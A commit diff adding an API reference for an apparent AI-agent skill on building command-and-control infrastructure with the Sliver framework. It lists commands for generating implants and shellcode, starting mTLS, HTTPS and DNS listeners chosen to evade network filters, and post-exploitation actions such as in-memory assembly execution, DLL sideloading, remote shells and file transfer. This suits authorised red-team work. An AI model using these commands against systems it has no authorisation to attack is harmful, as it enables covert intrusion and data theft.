Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal

- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md

skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md

@@ -0,0 +1,52 @@
+# API Reference: Sliver C2 Framework
+
+## Sliver CLI Commands
+| Command | Description |
+|---------|-------------|
+| `generate --mtls host:port` | Generate session implant |
+| `generate beacon --mtls host:port` | Generate beacon implant |
+| `mtls --lhost IP --lport PORT` | Start mTLS listener |
+| `https --lhost IP --lport PORT` | Start HTTPS listener |
+| `dns --domains domain.com` | Start DNS listener |
+| `sessions` | List active sessions |
+| `beacons` | List active beacons |
+| `use SESSION_ID` | Interact with session |
+
+## Generate Options
+| Flag | Description |
+|------|-------------|
+| `--name` | Implant name |
+| `--os` | Target OS (windows/linux/darwin) |
+| `--arch` | Architecture (amd64/386/arm64) |
+| `--format` | exe/shellcode/shared-lib |
+| `--seconds` | Beacon callback interval |
+| `--jitter` | Beacon jitter percentage |
+| `--mtls` | mTLS C2 endpoint |
+| `--https` | HTTPS C2 endpoint |
+| `--dns` | DNS C2 domain |
+
+## Listener Types
+| Type | Port | Use Case |
+|------|------|----------|
+| mTLS | 8888 | Encrypted, reliable |
+| HTTPS | 443 | Blends with web traffic |
+| DNS | 53 | Bypasses network filters |
+| WireGuard | 51820 | VPN-based C2 |
+
+## Post-Exploitation
+```
+execute-assembly     # .NET assembly in memory
+sideload             # DLL sideloading
+shell                # Interactive shell
+upload/download      # File transfer
+portfwd              # Port forwarding
+socks5               # SOCKS5 proxy
+```
+
+## Sliver gRPC API (Protobuf)
+```python
+import grpc
+from sliverpb import client_pb2_grpc
+channel = grpc.secure_channel("localhost:31337", credentials)
+stub = client_pb2_grpc.SliverRPCStub(channel)
+```